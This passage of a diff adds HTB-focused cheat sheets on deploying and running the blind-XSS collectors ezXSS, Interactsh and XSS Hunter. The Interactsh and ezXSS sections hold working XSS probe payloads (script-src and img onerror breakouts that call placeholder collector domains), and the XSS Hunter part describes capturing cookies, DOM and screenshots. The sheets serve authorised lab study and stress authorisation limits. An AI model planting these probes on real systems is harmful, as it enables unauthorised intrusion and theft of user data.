Quick DNS/HTTP-only confirmation | Use Blind XSS Tool - Interactsh instead | +| Turnkey screenshot-oriented collector | Compare Blind XSS Tool - XSS Hunter | +| Local testing without TLS | Supported with `httpmode=true`, but unsuitable for HTTPS HTB pages | + +### Core Components + +1. **Web application**: Provides management, payload, report, and settings interfaces. +2. **Database**: Stores accounts, settings, payloads, and reports. +3. **Callback endpoint**: Receives evidence when a blind-XSS probe executes. +4. **Optional notifications**: Sends email or webhook alerts. +5. **Optional advanced features**: Custom JavaScript, automatic spidering, and persistent sessions; these materially increase impact and are excluded from the basic HTB workflow. + +> [!warning]+ Dedicated Infrastructure +> `fas:TriangleExclamation` +> 1. Use a dedicated short hostname such as `e.YOUR_DOMAIN`. +> 2. Do not host ezXSS on a domain used for production, personal email, or unrelated applications. +> 3. Restrict the management interface to trusted source addresses where possible. +> 4. Keep database and screenshot storage encrypted at rest or on an ephemeral lab VPS. + +--- + +## Prerequisites `ris:FileList` + +| Requirement | Recommendation | Check | +|---|---|---| +| Linux server | Dedicated or disposable VPS | `uname -a` | +| Docker Engine | Current supported release | `docker --version` | +| Docker Compose | Compose v2 | `docker compose version` | +| Dedicated hostname | Short public hostname | `dig +short e.YOUR_DOMAIN` | +| TLS | Automatic Let's Encrypt or a trusted certificate | Browser and `curl` | +| Inbound ports | TCP `80` and `443` | Firewall and `ss` | +| Random database password | Unique high-entropy value | Password manager | +| Optional SMTP/webhook | Lab-only notification destination | Provider configuration | + +> [!important]+ DNS and TLS Preparation +> `fas:TriangleExclamation` +> 1. Point the hostname to the VPS before starting the automatic certificate flow. +> 2. Ensure TCP `80` and `443` are reachable and not already bound. +> 3. Use HTTPS for callbacks from HTTPS pages; browsers commonly block insecure mixed content. +> 4. Take a VPS snapshot or record a rollback point before deployment. + +--- + +## Commands and Implementation `ris:Command` + +### 1. Preflight the Host + +```bash +dig +short e.YOUR_DOMAIN +curl -4 https://icanhazip.com +sudo ss -lntp '( sport = :80 or sport = :443 )' +docker --version +docker compose version +``` + +> [!info]+ Preflight Breakdown +> `ris:Radar` +> 1. DNS should match the VPS public address. +> 2. Ports `80` and `443` should be available unless an intentional reverse proxy owns them. +> 3. Docker and Compose must both respond before cloning ezXSS. + +### 2. Clone the Official Repository + +```bash +git clone https://github.com/ssl/ezXSS.git +cd ezXSS +git status --short +docker compose config --services +``` + +> [!info]+ Command Breakdown +> `ris:Command` +> 1. **Official repository**: The project installation wiki uses `ssl/ezXSS`. +> 2. **Clean baseline**: Record local changes before updates. +> 3. **Compose validation**: Prints the service names and detects obvious configuration problems. + +### 3. Create and Harden the Environment File + +```bash +cp .env.example .env +chmod 600 .env +${EDITOR:-vi} .env +``` + +Set at least these values: + +```dotenv +dbPassword=GENERATE_A_UNIQUE_RANDOM_PASSWORD +autoInstallCertificate=true +domain=e.YOUR_DOMAIN +httpmode=false +signupEnabled=false +debug=false +useMailAlerts=false +``` + +> [!info]+ Environment Breakdown +> `ris:LockPassword` +> 1. **`dbPassword`**: Replace the example with a unique random password; never commit `.env`. +> 2. **`autoInstallCertificate=true`**: Enables the Docker certificate workflow when DNS and ports are ready. +> 3. **`domain`**: Must match the public hostname used by payloads and TLS. +> 4. **`httpmode=false`**: Enforces the normal HTTPS deployment. +> 5. **`signupEnabled=false`**: Prevents arbitrary public account creation. +> 6. **`debug=false`**: Avoids exposing internal application errors. +> 7. **`useMailAlerts=false`**: Disables mail setup until SMTP is deliberately configured. + +> [!warning]+ Local HTTP Mode +> `fas:TriangleExclamation` +> 1. `httpmode=true` is suitable only for isolated local testing. +> 2. An HTTP collector generally cannot load from an HTTPS target because of mixed-content blocking. +> 3. Do not use local HTTP mode as the default HTB deployment. + +### 4. Validate and Start the Stack + +```bash +docker compose config >/dev/null +docker compose up -d +docker compose ps +docker compose logs --tail=150 +``` + +> [!info]+ Startup Breakdown +> `fas:Terminal` +> 1. **Configuration check**: Stops before deployment when YAML or environment interpolation is invalid. +> 2. **`up -d`**: Starts the application, database, and supporting services in the background. +> 3. **Logs**: Show certificate, database, web-server, or application initialisation errors. +> 4. The official guide states that the service should become accessible shortly after Docker completes startup. + +### 5. Complete Web Installation + +1. Browse to `https://e.YOUR_DOMAIN/manage/install`. +2. Create the administrator account with a unique username and password. +3. Sign in and verify that the management interface loads over valid HTTPS. +4. Confirm that public signup remains disabled. +5. Open settings and configure an **allowlist** containing only the active HTB lab domains. +6. Disable screenshot, DOM, browser-storage, and notification fields that are unnecessary for the exercise. +7. Leave custom JavaScript, automatic spidering, and persistent mode disabled. + +> [!success]+ Expected Result +> `ris:Key` +> 1. `/manage/install` is no longer exposed after successful setup. +> 2. The management panel requires the new administrator credentials. +> 3. A self-test callback from an isolated page appears in the reports view. + +### 6. Configure HTB Allowlisting + +| Setting | Recommended HTB value | Reason | +|---|---|---| +| Allowlist | Exact active lab hostnames | Drops unrelated callbacks | +| Blocklist | Collector hostname and known self-test pages | Prevents noisy self-reports | +| Duplicate handling | Save once or suppress duplicates | Limits storage growth | +| Screenshot storage | Disable unless the objective requires it | Minimises sensitive evidence | +| DOM length | Small bounded value | Reduces report and notification size | +| Browser storage capture | Disable unless explicitly required | Avoids unnecessary sensitive data | +| Public signup | Disabled | Prevents unauthorised collector use | + +> [!tip]+ Correlation Convention +> `fas:Lightbulb` +> 1. Name each payload after the field and timestamp, such as `support-message-20260808-1530`. +> 2. Submit one new field at a time. +> 3. Record the exact HTB request next to the payload name. + +### 7. Create and Place a Probe + +Copy the generated payload from ezXSS. Its shape will resemble: + +```html +<script src="https://e.YOUR_DOMAIN/GENERATED_PAYLOAD_PATH"></script> +``` + +For a confirmed double-quoted attribute context: + +```html +"><script src="https://e.YOUR_DOMAIN/GENERATED_PAYLOAD_PATH"></script> +``` + +> [!warning]+ Payload Discipline +> `fas:TriangleExclamation` +> 1. Use the exact generated path from your own instance. +> 2. Match the breakout to the observed HTML or JavaScript context. +> 3. Keep pre-callback and post-callback custom JavaScript empty for the first test. +> 4. Do not enable recursive spidering or broad collection simply because the platform supports it. + +### 8. Interpret the Report + +| Evidence | What it proves | Limitation | +|---|---|---| +| Callback time | When the payload executed | Server and browser clocks may differ | +| URI and origin | Where the browser rendered the probe | SPA navigation can alter visible routes | +| Referrer | Prior or embedding page | Referrer policy may redact it | +| User agent and IP | Browser and network context | Does not uniquely identify a user | +| Cookies | JavaScript-readable cookies | `HttpOnly` values are absent | +| DOM or screenshot | Affected page context | May contain unnecessary sensitive data | +| Local/session storage | Browser-side application data | Collect only when the lab objective requires it | + +> [!success]+ Evidence Handling +> `ris:Key` +> 1. Correlate the report to its payload name, field, account, and time. +> 2. Export only the minimum evidence needed for the HTB write-up. +> 3. Remove stored lab payloads where the application permits. +> 4. Delete collector reports after verifying the final documentation. + +### 9. Configure Optional Notifications + +1. Create a lab-only email or webhook destination. +2. Enable only the matching notification integration. +3. Store tokens outside screenshots, notes, and version control. +4. Trigger a self-test and verify that secrets or full DOM data are not copied unnecessarily into the alert. +5. Rotate the token after the lab if it was exposed during debugging. + +> [!warning]+ Notification Leakage +> `fas:TriangleExclamation` +> 1. Email, Slack, Discord, and Telegram alerts move evidence into a second system. +> 2. Prefer a short summary and a link to the restricted collector. +> 3. Never send real third-party session data through consumer notification services. + +--- + +## Higher-Impact Features `fas:TriangleExclamation` + +> [!danger]+ Persistent Sessions and ezProxy +> `fas:TriangleExclamation` +> 1. ezXSS can support persistent browser interaction and proxy-style features. +> 2. These features materially extend control over the affected browser and may relay authenticated actions or internal content. +> 3. Keep them disabled for routine blind-XSS confirmation. +> 4. Use them only when a specific HTB lab explicitly requires that impact and stop immediately after capturing the required proof. +> 5. Do not expose proxy listeners publicly or use them against real users. + +--- + +## Operations and Lifecycle `ris:FileList` + +### Logs and Health + +```bash +docker compose ps +docker compose logs --tail=200 +docker stats --no-stream +``` + +> [!info]+ Operational Checks +> `ris:FileList` +> 1. Inspect all services first, then add a service name to narrow the logs. +> 2. Watch disk and database growth when screenshots, DOM, or duplicate reports are enabled. +> 3. Disable unused notifications and advanced features rather than leaving failing integrations active. + +### Backup + +Identify the persistent mounts before copying them: + +```bash +docker compose config > compose-resolved.yml +docker compose stop +cd .. +tar -czf "ezxss-backup-$(date +%F).tar.gz" ezXSS/.env ezXSS/compose-resolved.yml ezXSS +cd ezXSS +docker compose start +``` + +> [!warning]+ Backup Handling +> `fas:TriangleExclamation` +> 1. The archive may include database files, credentials, reports, screenshots, and callback data. +> 2. Review `docker compose config` for named volumes that are not stored inside the repository directory. +> 3. Encrypt the backup and retain it only until the HTB evidence is verified. + +### Update + +```bash +git status --short +git pull --ff-only +docker compose pull +docker compose up -d --build +docker compose ps +docker compose logs --tail=100 +``` + +> [!info]+ Update Breakdown +> `ris:Command` +> 1. Back up the database and `.env` first. +> 2. Review release notes and `.env.example` changes before restarting. +> 3. Re-run a self-test probe after the upgrade. + +### Stop and Cleanup + +Stop the stack while preserving volumes: + +```bash +docker compose down +``` + +Remove Compose-managed volumes only after exporting required evidence: + +```bash +docker compose down --volumes +``` + +> [!danger]+ Destructive Cleanup +> `fas:TriangleExclamation` +> 1. `--volumes` can permanently delete the database and reports. +> 2. Bind-mounted files and encrypted backups remain separate and require deliberate review. +> 3. Revoke notification tokens and remove the DNS record when the collector is retired. + +--- + +## Troubleshooting `ris:FileList` + +> [!failure]+ “You did not setup your config file yet” +> `fas:CircleXmark` +> 1. Confirm `.env.example` was copied to `.env`. +> 2. Confirm the container can read the file and that it contains valid key/value lines. +> 3. Run `docker compose config` and inspect the application logs. + +> [!failure]+ TLS or Callback Loading Fails +> `fas:CircleXmark` +> 1. Confirm DNS points to the server and TCP `80`/`443` are reachable. +> 2. Confirm `domain=e.YOUR_DOMAIN` and `autoInstallCertificate=true`. +> 3. Inspect certificate-related container logs. +> 4. Do not redirect the generated payload through extra HTTP-to-HTTPS hops without testing the exact URL. + +> [!failure]+ Database Driver or Connection Error +> `fas:CircleXmark` +> 1. Confirm the database container is healthy and the `.env` password matches. +> 2. Inspect the application and database logs separately. +> 3. For non-Docker Apache/NGINX installations, verify the PHP PDO/MySQL driver and database permissions. + +> [!failure]+ Screenshot Storage Error +> `fas:CircleXmark` +> 1. Disable screenshots if the lab does not require them. +> 2. Inspect the mounted storage path and container user ownership. +> 3. Avoid world-writable permissions; fix ownership to the documented application user instead. + +> [!failure]+ HTTPS Probe Works but HTTP Probe Does Not +> `fas:CircleXmark` +> 1. Confirm the generated callback does not redirect unexpectedly. +> 2. Inspect browser Network and Console output. +> 3. Use HTTPS as the default because it works on both secure and many insecure lab pages. + +--- + +## Lessons Learned `fas:Lightbulb` + +1. ezXSS is most useful when its collection and notification settings are deliberately reduced to the lab objective. +2. Domain allowlisting prevents accidental or unrelated reports from becoming assessment data. +3. `signupEnabled=false`, strong admin authentication, and restricted management access are baseline requirements for an exposed collector. +4. Persistent features change the risk category of the exercise and should never be part of the default blind-XSS workflow. + +--- + +## References `fas:BookOpen` + +1. [ezXSS Repository](https://github.com/ssl/ezXSS) +2. [Official ezXSS Installation Guide](https://github.com/ssl/ezXSS/wiki/How-to%3A-install-ezXSS) +3. [ezXSS Setting Definitions](https://github.com/ssl/ezXSS/wiki/Setting-definitions) +4. [ezXSS Common Errors](https://github.com/ssl/ezXSS/wiki/Possible-error-messages) +5. [Docker Engine Installation](https://docs.docker.com/engine/install/) +6. Cross-Site Scripting (XSS) - HTB Cheat Sheet +7. Blind XSS Tool - XSS Hunter +8. Blind XSS Tool - Interactsh + +#HTB #WebSecurity #XSS #BlindXSS #ezXSS diff --git a/src/content/sheets/web/blind-xss-tool-interactsh.md b/src/content/sheets/web/blind-xss-tool-interactsh.md @@ -0,0 +1,449 @@ +--- +title: "Blind XSS Tool - Interactsh" +description: "Interactsh generates unique out-of-band interaction domains and reports DNS, HTTP, SMTP, LDAP, and other callbacks. For blind XSS, it is a fast way to…" +category: web +tags: ["web", "xss"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Web/Blind XSS Tool - Interactsh.md" +--- +# Blind XSS Tool — Interactsh `fas:ClipboardList` + +## Summary `ris:Eye` + +[Interactsh](https://github.com/projectdiscovery/interactsh) generates unique out-of-band interaction domains and reports DNS, HTTP, SMTP, LDAP, and other callbacks. For blind XSS, it is a fast way to determine whether an unseen browser resolved or requested a unique address. It is lighter than XSS Hunter or ezXSS, but it does not automatically provide the same screenshots, DOM captures, or browser-specific evidence. + +> [!danger]+ HTB-Only Boundary +> `fas:TriangleExclamation` +> 1. Use Interactsh only in Hack The Box, deliberately vulnerable applications, or systems you own and are explicitly authorised to test. +> 2. Start with callback-only probes that collect no cookies, DOM, or browser storage. +> 3. Public Interactsh services are third-party infrastructure; do not send sensitive lab data in callback paths. +> 4. See Cross-Site Scripting (XSS) - HTB Cheat Sheet for context-specific payloads and impact validation. + +--- + +## Conceptual Information `ris:GlobalLine` + +### What Interactsh Proves + +| Observation | Strongest safe conclusion | What it does not prove | +|---|---|---| +| DNS callback only | A system resolved the unique hostname | Browser JavaScript execution | +| HTTP request for an injected image URL | A renderer parsed the resource reference and requested it | JavaScript execution | +| HTTP request created inside an event handler | Browser-side JavaScript executed and egress was available | Cookie access or privileged actions | +| Repeated callbacks | The stored value was rendered more than once | Number of distinct users without correlation evidence | +| No callback | Nothing reached this collector during the observation window | Absence of XSS; CSP, routing, rendering, or timing may block it | + +### Choose the Right Collector + +| Need | Recommended tool | +|---|---| +| Fast unique DNS/HTTP confirmation | **Interactsh** | +| Screenshots, DOM, and rich browser reports | Blind XSS Tool - XSS Hunter | +| Flexible self-hosted payload and notification controls | Blind XSS Tool - ezXSS | +| Raw callback visible over the HTB VPN | Python HTTP server or Netcat from the main XSS note | + +> [!info]+ Correlation Model +> `ris:FileList` +> 1. The client generates a unique domain containing a correlation identifier and nonce. +> 2. The server records interactions for that identifier. +> 3. The client polls and decrypts or displays matching events. +> 4. Add your own field label as a subdomain or path only when it remains within the generated unique domain structure. + +--- + +## Tools Overview `fas:Screwdriver` + +> [!info]+ [Interactsh Web Client](https://app.interactsh.com) Overview +> `ris:GlobalLine` +> 1. Browser-based dashboard with no local installation. +> 2. Stores session state in browser storage. +> 3. Best for a quick, non-sensitive HTB callback test. + +> [!info]+ Interactsh CLI Client Overview +> `fas:Terminal` +> 1. Generates payloads and polls for interactions in a terminal. +> 2. Supports session files, JSON output, custom servers, and protected-server tokens. +> 3. Best for reproducible lab notes and long-running polling. + +> [!info]+ Interactsh Server Overview +> `ris:Radar` +> 1. Self-hosted DNS and application-protocol interaction collector. +> 2. Requires a dedicated domain, nameserver delegation, a public server, and careful exposure controls. +> 3. Best when public shared infrastructure is unsuitable or unreliable. + +--- + +## Commands and Implementation `ris:Command` + +### 1. Hosted Web Client — Fastest Start + +1. Open [https://app.interactsh.com](https://app.interactsh.com). +2. Copy the unique generated domain. +3. Open `https://UNIQUE_DOMAIN/self-test` in a separate lab browser tab. +4. Confirm that DNS and HTTP events appear. +5. Keep the tab open while testing the HTB field. +6. Export or record the minimal callback evidence, then clear the browser session when finished. + +> [!warning]+ Hosted Service Boundary +> `fas:TriangleExclamation` +> 1. Treat the generated domain as temporary. +> 2. Do not place cookies, tokens, DOM content, usernames, or flags in the callback URL. +> 3. Public server availability and default domains may change; use the CLI or self-hosting when reliability matters. + +### 2. Install the CLI with Go + +The project README currently requires Go `1.20` or newer for source installation. + +```bash +go version +go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest +interactsh-client -version +``` + +> [!info]+ Command Breakdown +> `fas:Terminal` +> 1. **`go version`**: Confirm the local Go toolchain meets the project requirement. +> 2. **`@latest`**: Installs the current published client from the official module path. +> 3. Ensure the Go binary directory is in `PATH` if the final command is not found. + +### 3. Start a Persistent Client Session + +```bash +interactsh-client -sf interactsh-htb.session +[INF] Listing 1 payload for OOB Testing +UNIQUE_CORRELATION_ID.oast.example +``` + +> [!info]+ Session Breakdown +> `ris:FileList` +> 1. **`-sf interactsh-htb.session`**: Saves the client session so polling can resume after interruption. +> 2. The displayed hostname is unique to this session; copy it exactly. +> 3. Keep the session file private because it associates the client with its interactions. +> 4. The default public domains may rotate, so use the value printed by the client rather than a hard-coded suffix. + +If the current public service requires ProjectDiscovery authentication: + +```bash +interactsh-client -auth +``` + +> [!info]+ Authentication Note +> `ris:LockPassword` +> 1. Follow the interactive prompt and use your own ProjectDiscovery Cloud Platform API key. +> 2. Do not paste API keys into command history or the Obsidian vault. +> 3. Public-server authentication is separate from a token used by a protected self-hosted server. + +### 4. Run the CLI Client with Docker + +```bash +docker run --rm -it projectdiscovery/interactsh-client:latest +[INF] Listing 1 payload for OOB Testing +UNIQUE_CORRELATION_ID.oast.example +``` + +> [!info]+ Docker Breakdown +> `fas:Terminal` +> 1. **`--rm`**: Removes the temporary container after exit. +> 2. **`-it`**: Keeps the polling client interactive. +> 3. Mount a dedicated directory only when you need persistent session or output files. + +Persist a session file in the current directory: + +```bash +mkdir -p interactsh-state +docker run --rm -it \ + -v "$PWD/interactsh-state:/state" \ + projectdiscovery/interactsh-client:latest \ + -sf /state/htb.session +``` + +> [!warning]+ Session Storage +> `fas:TriangleExclamation` +> 1. Restrict the `interactsh-state` directory to your user. +> 2. Do not commit session or JSON output files. +> 3. Remove them after recording the required HTB evidence. + +### 5. Verify the Collector Before Injection + +```bash +curl -i "https://UNIQUE_DOMAIN/self-test" +HTTP/2 200 +content-type: text/html; charset=utf-8 +``` + +> [!success]+ Expected Result +> `ris:Key` +> 1. The client reports a DNS lookup and an HTTP request for `/self-test`. +> 2. The event time, protocol, source address, and request metadata appear. +> 3. If only DNS appears, inspect TLS, routing, and HTTP service availability before planting the HTB payload. + +### 6. Create Unique HTB Correlation Labels + +| Field under test | Example label | +|---|---| +| Support message | `support-message-20260808-1530` | +| Display name | `profile-name-20260808-1535` | +| `User-Agent` header | `user-agent-20260808-1540` | +| `Referer` header | `referer-20260808-1545` | +| Filename | `filename-20260808-1550` | + +Use the label in the path when the generated domain format must remain unchanged: + +```text +https://UNIQUE_DOMAIN/support-message-20260808-1530 +``` + +> [!tip]+ Attribution Rule +> `fas:Lightbulb` +> 1. Submit one labelled field at a time. +> 2. Keep a small table mapping label → request → account → time. +> 3. Do not include flags, usernames, or secrets in labels. + +### 7. Blind-XSS Callback Payloads + +Replace `UNIQUE_DOMAIN` and the label with values from the active session. + +```html +<!-- Resource callback: proves HTML parsing and outbound resource loading --> +<img src="https://UNIQUE_DOMAIN/support-message-20260808-1530"> + +<!-- Event-handler callback: proves JavaScript execution --> +<img src=x onerror="new Image().src='https://UNIQUE_DOMAIN/js-support-message-20260808-1530'"> + +<!-- Confirmed double-quoted attribute breakout --> +"><img src=x onerror="new Image().src='https://UNIQUE_DOMAIN/attr-profile-name-20260808-1535'"> +``` + +> [!warning]+ Payload Interpretation +> `fas:TriangleExclamation` +> 1. The first payload can fire without JavaScript; report it as resource loading, not script execution. +> 2. The second and third callbacks originate inside an event handler and therefore support a JavaScript-execution finding. +> 3. CSP, sanitisation, mixed-content policy, or outbound filtering may prevent a callback even when injection exists. +> 4. Keep callback URLs free of cookies and other sensitive values on public infrastructure. + +### 8. Read and Record an Interaction + +| Field | Interpretation | +|---|---| +| Protocol | DNS, HTTP, SMTP, LDAP, or another supported interaction | +| Unique ID | Connects the event to the generated payload | +| Remote address | Network source seen by the collector; may be a proxy or resolver | +| Timestamp | Helps correlate asynchronous rendering | +| HTTP path | Identifies the tested field label | +| Headers | May reveal browser, proxy, or automation context | +| Raw request | Evidence of the exact callback; may contain sensitive values if the payload included them | + +> [!success]+ Minimum HTB Evidence +> `ris:Key` +> 1. Screenshot or export the interaction with its unique label and timestamp. +> 2. Save the request that planted the payload. +> 3. State whether evidence was DNS-only, resource loading, or JavaScript-created HTTP. +> 4. Remove the stored payload and delete local session/output data after the write-up is complete. + +--- + +## Optional Self-Hosting `ris:Global` + +> [!important]+ Self-Hosting Requirements +> `fas:TriangleExclamation` +> 1. A dedicated domain used only for OAST. +> 2. Glue or host records such as `ns1` and `ns2` pointing to the server public IP. +> 3. Nameserver delegation of the OAST domain to those hosts. +> 4. A public VPS able to bind DNS and HTTP/TLS ports. +> 5. A protected client token, restricted administration, monitoring, and a retention decision. + +### 9. Configure DNS Delegation + +At the registrar or authoritative DNS provider: + +1. Create host/glue record `ns1.oast.YOUR_DOMAIN` → `SERVER_IP`. +2. Create host/glue record `ns2.oast.YOUR_DOMAIN` → `SERVER_IP`. +3. Delegate `oast.YOUR_DOMAIN` to `ns1.oast.YOUR_DOMAIN` and `ns2.oast.YOUR_DOMAIN`. +4. Wait for delegation to propagate. +5. Verify from an independent resolver. + +```bash +dig NS oast.YOUR_DOMAIN +short +dig A ns1.oast.YOUR_DOMAIN +short +dig A ns2.oast.YOUR_DOMAIN +short +``` + +> [!success]+ Expected DNS Result +> `ris:Key` +> 1. The delegated nameservers are returned for the OAST domain. +> 2. Both nameserver hosts resolve to the intended server address. +> 3. Do not start payload testing until delegation is consistent externally. + +### 10. Install and Start the Server + +```bash +go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest +interactsh-server -version +sudo interactsh-server -domain oast.YOUR_DOMAIN +``` + +> [!info]+ Server Breakdown +> `fas:Terminal` +> 1. **`-domain`**: Sets the dedicated delegated OAST domain. +> 2. The server attempts to discover public addresses and configure supported listeners. +> 3. Privileged ports require appropriate OS capabilities or a carefully managed service account; avoid running a long-lived service interactively as root. +> 4. Inspect `interactsh-server -h` on the installed version before production use because supported services and flags evolve. + +Common service ports include: + +| Protocol | Port | Required for browser-focused XSS? | +|---|---:|---| +| DNS | UDP/TCP `53` | Yes | +| HTTP | TCP `80` | Useful for redirects and plaintext labs | +| HTTPS | TCP `443` | Yes for secure callback reliability | +| SMTP/SMTPS | TCP `25`/`587` | No, unless testing mail interactions | +| LDAP | TCP `389` | No, unless testing LDAP interactions | + +> [!warning]+ Least Exposure +> `fas:TriangleExclamation` +> 1. Expose only the protocols required for the authorised test. +> 2. Use the installed version's help output to disable unused listeners where supported. +> 3. Apply cloud and host firewall rules together. +> 4. Run the service under a dedicated account with only the required bind capabilities. + +### 11. Connect a Client to the Self-Hosted Server + +```bash +interactsh-client -server oast.YOUR_DOMAIN +``` + +For a protected server: + +```bash +interactsh-client -server oast.YOUR_DOMAIN -token SELF_HOSTED_CLIENT_TOKEN +``` + +> [!info]+ Client Connection +> `ris:LockPassword` +> 1. **`-server`**: Overrides the rotating public server list. +> 2. **`-token`**: Authenticates to a protected self-hosted server. +> 3. Store the token in a protected configuration file or secret manager rather than shell history. + +### 12. Optional Static Payload Hosting + +The self-hosted server can expose files under its `/s/` path when started with an HTTP directory: + +```bash +interactsh-server \ + -domain oast.YOUR_DOMAIN \ + -http-directory ./lab-payloads +``` + +> [!warning]+ Static Hosting Boundary +> `fas:TriangleExclamation` +> 1. Host only minimal, reviewed HTB lab files. +> 2. Do not enable dynamic responses or arbitrary public script hosting on a domain shared with other services. +> 3. Keep the directory read-only to the service and review its contents before every run. + +--- + +## Operations and Lifecycle `ris:FileList` + +### Logs and Session Output + +```bash +interactsh-client -sf interactsh-htb.session -json -o interactions.jsonl +``` + +> [!info]+ Output Breakdown +> `ris:FileList` +> 1. **`-json`**: Produces structured interaction records. +> 2. **`-o`**: Writes events to the named file. +> 3. Protect the session and JSONL files because request headers and callback paths may be sensitive. + +### Update + +```bash +go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest +interactsh-client -version +``` + +For Docker, pull the current client image before the next lab: + +```bash +docker pull projectdiscovery/interactsh-client:latest +``` + +> [!tip]+ Update Check +> `fas:Lightbulb` +> 1. Review the official release notes before updating a self-hosted server. +> 2. Verify client/server compatibility and complete a DNS-plus-HTTP self-test. +> 3. Keep the previous binary or VPS snapshot until the new version is verified. + +### Retention and Cleanup + +1. Stop polling after the HTB observation window. +2. Export only the interaction records needed for the write-up. +3. Clear the hosted web client's browser storage when the session is no longer required. +4. Remove local session and JSONL files after evidence verification. +5. For self-hosting, stop the service, revoke client tokens, remove DNS delegation, and close exposed ports. +6. Keep no callback data beyond the lab/reporting requirement. + +> [!danger]+ Self-Hosted Retirement +> `fas:TriangleExclamation` +> 1. Removing only the web service leaves delegated DNS and other listeners exposed. +> 2. Verify both cloud and host firewalls after shutdown. +> 3. Remove or repurpose the dedicated domain only after DNS caches have expired and no test payloads remain stored. + +--- + +## Troubleshooting `ris:FileList` + +> [!failure]+ No Interaction Appears +> `fas:CircleXmark` +> 1. Open the generated URL yourself and confirm DNS plus HTTP events. +> 2. Verify that the client is still polling the correct session. +> 3. Inspect the HTB browser Console and Network for CSP, TLS, mixed-content, or sanitisation failures. +> 4. Confirm the stored field is rendered by the expected user or background workflow. +> 5. Test a simple `<img src>` before an event-handler callback. + +> [!failure]+ DNS Appears but HTTP Does Not +> `fas:CircleXmark` +> 1. Confirm the exact scheme and hostname requested by the payload. +> 2. Test HTTPS directly with `curl`. +> 3. Check server port exposure and certificate validity. +> 4. Remember that DNS-only evidence does not prove JavaScript execution. + +> [!failure]+ Self-Hosted Domain Does Not Register +> `fas:CircleXmark` +> 1. Verify glue records and nameserver delegation from an external resolver. +> 2. Confirm UDP and TCP `53` reach the server. +> 3. Confirm no existing DNS daemon occupies port `53`. +> 4. Review server logs and the current version's help output. + +> [!failure]+ Public Server or Authentication Error +> `fas:CircleXmark` +> 1. Run `interactsh-client -auth` if the selected public service requires a ProjectDiscovery API key. +> 2. Generate a fresh session rather than reusing an expired domain. +> 3. Try another official default server through the client's supported configuration. +> 4. Move to a protected self-hosted server when public availability is unsuitable. + +--- + +## Lessons Learned `fas:Lightbulb` + +1. DNS, resource loading, and JavaScript execution are three different evidence levels and must be reported separately. +2. Unique labels turn asynchronous blind callbacks into attributable findings. +3. Public OAST infrastructure is ideal for harmless reachability tests, not sensitive data collection. +4. Self-hosting improves control but adds DNS, TLS, firewall, token, logging, and retention responsibilities. + +--- + +## References `fas:BookOpen` + +1. [ProjectDiscovery Interactsh Repository](https://github.com/projectdiscovery/interactsh) +2. [Interactsh Web Client](https://app.interactsh.com) +3. [ProjectDiscovery Interactsh Release Article](https://projectdiscovery.io/blog/interactsh-release) +4. [Docker Client Image](https://hub.docker.com/r/projectdiscovery/interactsh-client) +5. Cross-Site Scripting (XSS) - HTB Cheat Sheet +6. Blind XSS Tool - XSS Hunter +7. Blind XSS Tool - ezXSS + +#HTB #WebSecurity #XSS #BlindXSS #Interactsh #OAST diff --git a/src/content/sheets/web/blind-xss-tool-xss-hunter.md b/src/content/sheets/web/blind-xss-tool-xss-hunter.md @@ -0,0 +1,352 @@ +--- +title: "Blind XSS Tool - XSS Hunter" +description: "XSS Hunter Express is a self-hosted blind-XSS reporting platform. When its generated probe executes in an unseen HTB browser, the platform can record the…" +category: web +tags: ["web", "xss"] +tools: [] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Web/Blind XSS Tool - XSS Hunter.md" +--- +# Blind XSS Tool — XSS Hunter `fas:ClipboardList` + +## Summary `ris:Eye` + +[XSS Hunter Express](https://github.com/mandatoryprogrammer/xsshunter-express) is a self-hosted blind-XSS reporting platform. When its generated probe executes in an unseen HTB browser, the platform can record the vulnerable URI, origin, referrer, user agent, non-`HttpOnly` cookies, page DOM, screenshots, and request metadata. Use it when a simple DNS or HTTP callback is insufficient and the lab requires evidence from an administrator-facing or asynchronous rendering path. + +> [!danger]+ HTB-Only Boundary +> `fas:TriangleExclamation` +> 1. Deploy probes only into Hack The Box labs or systems you own and are explicitly authorised to test. +> 2. The collector may receive session data, DOM content, screenshots, and internal URLs. Treat its database and image directory as sensitive. +> 3. Use a dedicated hostname, strong credentials, minimal exposure, and short retention. +> 4. See Cross-Site Scripting (XSS) - HTB Cheat Sheet for payload selection and evidence rules. + +--- + +## Conceptual Information `ris:GlobalLine` + +### When to Use XSS Hunter + +| Requirement | Fit | +|---|---| +| Confirm a single DNS or HTTP interaction | Use Blind XSS Tool - Interactsh instead | +| Capture screenshots and DOM context | **Strong fit** | +| Correlate many stored fields | **Strong fit** with unique probe paths | +| Avoid operating internet-facing infrastructure | Use a hosted OAST service or a local listener where routing permits | +| Fine-grained payload/report controls | Compare with Blind XSS Tool - ezXSS | + +### Data Flow + +1. An HTB field stores the generated `<script src>` probe. +2. A lab administrator or automated browser renders the field. +3. The browser requests the XSS Hunter probe over HTTPS. +4. The probe collects its configured evidence and posts a report to the collector. +5. The dashboard and optional notification channel expose the callback. + +> [!warning]+ Security Model +> `fas:TriangleExclamation` +> 1. XSS Hunter is itself an internet-facing web application and evidence store. +> 2. Do not reuse its root domain for email, production websites, or unrelated services. +> 3. Restrict the admin panel at the firewall or reverse proxy when possible. +> 4. If the control panel is disabled, verify how reports will be reviewed before planting probes. + +--- + +## Prerequisites `ris:FileList` + +| Requirement | Minimum or recommendation | Check | +|---|---|---| +| Linux VPS | At least **2 GB RAM** per the project README | `free -h` | +| Docker Engine | Current supported release | `docker --version` | +| Docker Compose | Compose v2 preferred; legacy `docker-compose` is also accepted by the project | `docker compose version` | +| Dedicated hostname | Short name such as `x.YOUR_DOMAIN` | `dig +short x.YOUR_DOMAIN` | +| DNS control | Public `A`/`AAAA` record pointing to the VPS | DNS provider panel | +| Inbound ports | TCP `80` and `443` for HTTP/TLS | VPS firewall and cloud firewall | +| Optional notifications | Valid provider credentials | Provider dashboard | + +> [!important]+ Before Installation +> `fas:TriangleExclamation` +> 1. Create the hostname and wait until it resolves to the server. +> 2. Ensure no other service occupies TCP `80` or `443`. +> 3. Record a rollback point or VPS snapshot. +> 4. Generate unique passwords and keep secrets out of shell history and screenshots. + +--- + +## Commands and Implementation `ris:Command` + +### 1. Verify DNS and Ports + +```bash +dig +short x.YOUR_DOMAIN +curl -4 https://icanhazip.com +sudo ss -lntp '( sport = 